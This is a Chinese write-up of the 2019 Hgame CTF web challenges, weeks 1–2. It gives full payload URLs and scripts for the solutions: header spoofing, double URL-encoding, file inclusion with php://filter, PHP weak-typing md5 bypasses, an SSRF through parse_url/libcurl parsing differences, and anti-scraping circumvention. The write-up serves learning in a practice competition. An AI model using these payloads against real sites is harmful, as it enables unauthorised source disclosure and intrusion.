2019 Hgame week 1-2 writeup

栏目: 编程工具 · 发布时间: 5年前

内容简介:H-Game不是那种。。WEB

2019 Hgame week 1-2 writeup

H-Game

不是那种。。

WEB

week-1

谁吃了我的flag?

题干提示了vim,没好好关机,知道了是 Linux 的vim异常退出

所以访问 .index.html.swp 得到swp,扔到Linux里 vim .index.html.swp -r 恢复,得到flag,这里注意前面的 . 刚开始一直没出来还在硬扫后台。。。最后dalao前面有个 . 。。

换头大作战

有个搜索框,随便输入一个1,返回了 request method is error.I think POST is better 那就用hackbar post提交一个 want=1 (chrome也有hackbar了),然后回显 https://www.wikiwand.com/en/X-Forwarded-For only localhost can get flag 然后用burp改包,用 X-Forwarded-For 伪造ip,重Q发后返回提示需要水狐浏览器访问,继续改包,修改User-agent为水狐 Waterfox/50.0 ,继续重发,提示需要从bilibili来访问,继续改,把 referer 改成bilibili,最后把cookies修改成1,得到flag

very easy web

error_reporting(0);
include("flag.php");

if(strpos("vidar",$_GET['id'])!==FALSE)
  die("<p>干巴爹</p>");

$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "vidar")
{
  echo $flag;
}
highlight_file(__FILE__);

题目中有个 urldecode 审计后发现是双重url编码就可以绕过

payload http://120.78.184.111:8080/week1/very_ez/index.php?id=%2576%2569%2564%2561%2572

can u find me?

题目提示 为什么不问问神奇的十二姑娘和她的小伙伴呢
F12在元素中找到 f12.php 访问,要我们提交一个 password ,密码在响应头中,提交后,回显 aoh,your speed is sososo fast,the flag must have been left in somewhere ,查找一番发现没有什么结果,看了一眼f12,发现是存在跳转。开burp比较麻烦,直接用curl获取相应体 curl -i http://47.107.252.171:8080/iamflag.php

第一周的web就结束了

week-2

easy_php

题目标题提示 where is my robots? 直接访问 robots 看到里面的 img/index.php 访问得到源码

error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
    $img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__);

就是替换了 ../ 的文件包含,直接双写绕过就好了

payload http://118.24.25.25:9999/easyphp/img/index.php?img=....//flag ,发现得到的竟然不是,思考了下,这里竟然有文件包含,尝试利用伪协议读取源码 http://118.24.25.25:9999/easyphp/img/index.php?img=php://filter/read=convert.base64-encode/resource=....//flag 得到flag

php trick

//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
    die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
    die('step 2 fail');
}
if( $str3 == $str4 ){
    die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
    die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
    die('step 5 fail');
}
if(is_numeric($str5)){
    die('step 6 fail');
}
if ($str5<9999999999){
    die('step 7 fail');
}
if ((string)$str5>0){
    die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
    die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
    die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
    die('step 11 fail');
}
else{
    echo $output;
}

我觉得一道挺好的入门题。。。嗯。。。有很多的 PHP 特性,一个个来解释

step1,2 php弱类型特性,md5加密后0e绕过,

step3,4 字符串不相等md5严格相等,利用 false===false 绕过,直接传入数组,md5返回 false

step5 请求里必须存在 H_game 这个参数

step6,7,8 要求 str5 不是数字或数字字符串,并且小于 9999999999 大于 0 (这里有个小tips,php中数组大于一切数字), str5 是通过 H_game 来获取的,这样就与step5矛盾,需要绕过,这里可以对H使用 url编码 绕过,看了大佬的wp后学到了一个新姿势

在遇到需要在url中请求如:A_A这样的值的时候,可以通过A.A或者A+A来达到相同的效果。

PHP变量名不能带有点[.] 和空格,否则在会被转化为下划线[_] (+号在url中表示空格)

即在url中使用 H+game 代替。

step9,10 使用curl来访问,这里绕过即可,因为 parse_urllibcurlurl 的解析问题造成 ssrf
parse_url 解析的是 host 最后一个@符号后的 host ,但是 libcurl 解析的是第一个@后的 host ,所以这里这样就可以绕过 /http://@localhost@www.baidu.com/admin.php ,得到源码

//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
    die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
    echo "sorry,you can't see it";
}
else{
    echo file_get_contents($filename);
}
highlight_file(__FILE__);

看到这里的 file_exists()file_get_contents() 明显冲突,使用 php://filter/read=convert.base64-encode/resource=flag.php 绕过

最后的payload http://118.24.3.214:3001/?str1=QNKCDZO&amp;str2=s878926199a&amp;str3[]=1&amp;str4[]=2&amp;%48_game[]=1000000000000000000000000000000000000q&amp;url=http://@localhost:@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php

PHP Is The Best Language

源码

include 'secret.php'; 

#echo $flag; 
#echo $secret; 

if (empty($_POST['gate']) || empty($_POST['key'])) { 
    highlight_file(__FILE__); 
    exit; 
} 

if (isset($_POST['door'])){ 
    $secret = hash_hmac('sha256', $_POST['door'], $secret); 
} 

$gate = hash_hmac('sha256', $_POST['key'], $secret); 

if ($gate !== $_POST['gate']) { 
    echo "Hacker GetOut!!"; 
    exit; 
} 

if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) { 
    echo "Wow!!!"; 
    echo "</br>"; 
    echo $flag; 
} 
else { 
    echo "Hacker GetOut!!"; 
}

hash_hmac — 使用 HMAC 方法生成带有密钥的哈希值

当第二个参数为数组的时候返回null,利用这个特性,即使不知道$secret,也可以控制$gate这个参数。

然后就是 (md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) 绕过了,这个可以利用弱类型,构造0e,提供一个字符串 V5VDSHva7fjyJoJ33IQl 。然后把这个 sha256 加密后做gate提交,就可以了

Baby_Spider

学到很多东西的一题,题目明确爬虫+python3来做,开始毫无头绪,后来看了大佬的wp,知道了这里有两个反扒机制,一个是携程用的css来打乱显示数字,一个是使用字体替换来反扒。然后做了早就想开坑的 selenuim ,这次用了 requestsselenuim 两种方法来做这道题,可以说是收获良多了。

# selenuim方法
from selenium import webdriver

url = 'http://111.231.140.29:10000/'

driver = webdriver.Chrome("chromedriver.exe")
driver.get(url)

start_input = driver.find_element_by_name('token') #获取输入框
start_button = driver.find_element_by_tag_name('button') #获取点击按钮

start_input.send_keys('your token') #输入你的token
start_button.click()

def calc(value):
    answer = eval(str(value))
    submit = driver.find_element_by_tag_name('button')
    value_input = driver.find_element_by_name('answer')
    value_input.send_keys(str(answer))
    submit.click()

for i in range(0,30):
    if i <10:
        value = driver.find_element_by_class_name('question-container').text.split('=')[0]
        calc(value)
    if i >= 10 and i < 20:
        cal = driver.find_element_by_class_name('question-container').text.split('=')[0]
        intab = "1234567890"
        outtab = "0269435871"
        trantab = str.maketrans(intab, outtab)
        cal = cal.translate(trantab)
        """
            这里是开始不知道有翻译表这个方法的时候想的方法,毕竟也想了那么久。。。记录一下
        """
        #    key_values = {
        #   '1':'0',
        #   '2':'2',
        #   '3':'6',
        #   '4':'9',
        #   '5':'4',
        #   '6':'3',
        #   '7':'5',
        #   '8':'8',
        #   '9':'7',
        #   '0':'1',
        # }
        # for j in range(len(cal)):
        #   if key_values.__contains__(cal[j]):
        #       cal = cal[:j] + key_values[cal[j]] + cal[j+1:]
        #   else:
        #       cal = cal[:j] + cal[j] + cal[j+1:]
        calc(cal)
    if i >= 20:
        # 这里使用js获取伪元素的content的值
        js = "var h3 = document.querySelector('.question-container');var result= getComputedStyle(h3, '::after').content;return result;"
        result = driver.execute_script(js)
        result = result.replace("=?", "")
        result = result.replace("\"", "")
        calc(result)
# requests方法
import requests
import re

url = 'http://111.231.140.29:10000/'
data = {'token' : 'your token'} #输入你的token

# 这道题目如果你用requests的话,再后面二十题要加请求头,不然会被强制关机!。。。。。,应该是有个请求头检测
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36' ,'Referer': 'http://111.231.140.29:10000/question'}

def get_cookie(req):
    Session = req.headers['Set-Cookie'].split(';')[0]
    return Session

def calc(formula):
    result = eval(str(formula))
    return result

def get_formula_(req,i):
    print("正在计算第%s题..."%str(i))
    template = re.compile('<div class="question-container"><span>(.*?)=\?</span></div>',re.S)
    formula = template.findall(req.text)[0]
    print(formula)
    return formula

def tran(formula):
    intab = "1234567890"
    outtab = "0269435871"
    trantab = str.maketrans(intab, outtab)
    formula = formula.translate(trantab)
    return formula

def get_css_formula(css):
    template = re.compile('content:"(.*?)=\?";',re.S)
    formula = template.findall(css)[0]
    # print(formula)
    return formula

req = requests.req = requests.post(url, data=data, headers=headers) #第一次请求

req = requests.get(
    url,
    headers={'Cookie':get_cookie(req)}
)
# print(req.text)


for i in range(1,31):
    url = 'http://111.231.140.29:10000/solution'
    formula = get_formula_(req, i)
    if i <= 10:
        Session = get_cookie(req)
        # print(result)
    # print(req.text)
    if  20 >= i > 10:
        formula = tran(formula)
        Session = get_cookie(req)
    if i > 20:
        # 这里要重新获取session不然请求的是20题的css得不到content
        Session = get_cookie(req)
        css = requests.get(
            'http://111.231.140.29:10000/statics/style.css',
            headers={'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': Session,
                     'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36',
                     'Referer': 'http://111.231.140.29:10000/question'}
        ).text
        formula = get_css_formula(css)

    result = calc(formula)
    req = requests.post(
        'http://111.231.140.29:10000/solution', data={'answer': result},
        headers={
            'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': Session,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36',
            'Referer': 'http://111.231.140.29:10000/question'}
    )
    if 'hgame'in req.text:
        print(req.text)

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

卓有成效的程序员

卓有成效的程序员

Neal Ford / 熊节 / 机械工业出版社 / 2009-3 / 45.00元

《卓有成效的程序员》就是讲述如何在开发软件的过程中变得更加高效。同时,《卓有成效的程序员》的讲述将会跨语言和操作系统:很多技巧的讲述都会伴随多种程序语言的例子,并且会跨越三种主要的操作系统,Windows(多个版本),Mac OS X以及 *-nix (Unix或者Linux)。 《卓有成效的程序员》讨论的是程序员个体的生产力,而不是团队的生产力问题,所以它不会涉及方法论(好吧,可能总会在......一起来看看 《卓有成效的程序员》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

随机密码生成器
随机密码生成器

多种字符组合密码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码